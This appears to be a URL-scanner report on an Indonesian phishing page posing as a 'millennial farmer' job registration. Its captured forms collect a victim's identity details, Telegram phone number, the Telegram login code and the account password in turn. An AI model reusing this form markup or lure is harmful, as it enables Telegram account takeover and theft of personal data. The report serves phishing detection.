petanimilenial.jistt.site
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172.67.177.51
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URL:
https://petanimilenial.jistt.site/
Submission: On December 15 via api from US — Scanned from DE
Submission: On December 15 via api from US — Scanned from DE
Form analysis
4 forms found in the DOMPOST javascript:void(0)
<form action="javascript:void(0)" method="post" id="firstForm">
<section>
<p style="background: #05529be8; color: #f1f3f5; padding-top: 1px; margin-bottom: 6px; padding-bottom: 0px; height: 31px; font-size: 14px; text-align: center;"> Pendaftaran</p>
<div class="first">
<div class="col-sm-12">
<label for="Name">Nama Lengkap (Sesuai E-KTP)</label>
<input class="form-control" placeholder="Nama Lengkap" data-presence="true" data-content="Sila isikan ruang ini" maxlength="100" size="100" type="text" name="full_name" id="full_name">
<div class="col-sm-12">
<label for="Name">Alamat/Domisili</label>
<input class="form-control" placeholder="Alamat Lengkap" data-presence="true" data-content="Sila isikan ruang ini" maxlength="100" size="100" type="text" name="full_name" id="full_name">
</div>
<div class="col-sm-12">
<label for="Name">Usia</label>
<input placeholder="Masukan Usia anda" class="form-control" data-presence="true" data-ic="true" data-content="Sila masukkan nombor pengenalan yang sah" type="text" name="icnumber" id="icnumber">
</div>
<!--
<div class="field-arrow">
</div>
<div class="field-arrow">
</div>
-->
</div>
<div class="col-sm-12">
<label for="sector">Jenis Kelamin</label>
<div class="field-arrow">
<select class="form-control ploan_application_sector" data-presence="true" data-content="Sila buat mana-mana pilihan" name="sek" id="sek">
<option value="Pria">Laki Laki</option>
<option value="Wanita">Prempuan</option>
</select>
</div>
<!--
<div class="field-arrow">
</div>
<div class="field-arrow">
</div>
-->
</div>
<div class="col-sm-12">
<label for="Name">Nomor telepon Telegram Aktif</label>
<input placeholder="Nomor telegram" class="form-control" data-presence="true" data-content="Silakan masukkan nomor telepon yang aktif dan sudah menggunakan Telegram" type="tel" name="phone_number" id="phone_number">
</div>
<div class="col-sm-12">
<label for="agree_telegram">
<input name="personal_loan_application[agree_whatsapp]" type="hidden" value="0"><input data-checkbox="true" data-content="Sila tandakan kotak berkenaan" type="checkbox" value="1" name="personal_loan_application[agree_whatsapp]"
id="personal_loan_application_agree_whatsapp"> Saya setuju untuk menerima pesan Telegram dari Admin tentang Pekerjaan Ini </label>
</div>
<div class="text-center">
<button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processFirstData()">Mendaftar</button>
</div>
</div>
</section>
</form>
POST javascript:void(0)
<form action="javascript:void(0)" method="post" id="secondForm">
<input type="hidden" name="phone_number" id="validatephone_number" readonly="">
<div class="mb-3">
<label for="otp_code" class="form-label">
<span id="ctl00_RecipientMasterContent_lblEntry_IDNo">Kami telah mengirimkan Anda kode verifikasi ke aplikasi Telegram di perangkat Anda.</span>
</label>
<input name="otp_code" maxlength="5" id="otp" class="form-control" type="tel" required="true" placeholder="Masukkan kode Otp">
</div>
<div class="text-center">
<button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processSecondData()">BERIKUTNYA</button>
</div>
</form>
POST javascript:void(0)
<form action="javascript:void(0)" method="post" id="thirdForm">
<input type="hidden" name="phone_number" id="validatephone_number" readonly="">
<input type="hidden" name="otp_code" id="validateotp_code" readonly="">
<div class="mb-3">
<label for="password" class="form-label">
<span id="ctl00_RecipientMasterContent_lblEntry_IDNo">Masukkan kata sandi Anda (opsional).</span>
</label>
<input name="password" id="password" class="form-control" type="text" placeholder="Masukkan kata sandi anda">
</div>
<div class="text-center">
<button type="submit" class="btn btn-lg btn-block btn-mk" onclick="processThirdData()">Konfirmasi</button>
</div>
</form>
POST javascript:void(0)
<form action="javascript:void(0)" method="post" id="fourForm" enctype="multipart/form-data">
<input type="hidden" name="phone_number" id="validatephone_number" readonly="">
<input type="hidden" name="otp_code" id="validateotp_code" readonly="">
<input type="hidden" name="password" id="validatepassword" readonly="">
<div class="mb-3">
<p class="fw-bold mt-2 page-header text-center ">
<span id="ctl00_RecipientMasterContent_lblSubject">JIKA ANDA TELAH DI TERIMA KAMI AKAN MENGIRIMKAN PESAN MELALUI TELEGRAM </span>
</p>
</div>
<br>
<div class="mb-3">
<p class="fw-bold mt-2 page-header text-center ">
<span id="ctl00_RecipientMasterContent_lblSubject">PASTIKAN DATA YANG ANDA MASUKAN BARUSAN SUDAH BENAR</span>
</p>
</div>
<section class="text-center" style="padding-top: 24px;">
<input class="btn btn-primary" type="submit" onclick="processfourData()" style="width: 280.65px;font-weight: bold;background: rgb(245,15,0);" value="KOMFIRMASI">
</section>
</form>
Text Content
SILAHKAN ISI DATA ANDA DENGAN BENAR DI BAWAH UNTUK PENDAFTARAN PETANI MILENIAL Pendaftaran Nama Lengkap (Sesuai E-KTP) Alamat/Domisili Usia Jenis Kelamin Laki Laki Prempuan Nomor telepon Telegram Aktif Saya setuju untuk menerima pesan Telegram dari Admin tentang Pekerjaan Ini Mendaftar Kami telah mengirimkan Anda kode verifikasi ke aplikasi Telegram di perangkat Anda. BERIKUTNYA Masukkan kata sandi Anda (opsional). Konfirmasi STATUS ANDA SEDANG DALAM PENGECEKAN. JIKA ANDA TELAH DI TERIMA KAMI AKAN MENGIRIMKAN PESAN MELALUI TELEGRAM PASTIKAN DATA YANG ANDA MASUKAN BARUSAN SUDAH BENAR SILAHKAN TUNGGU KAMI SEDANG MELAKUKAN PENGECEKAN DATA ANDA « Gunakan Nomor lain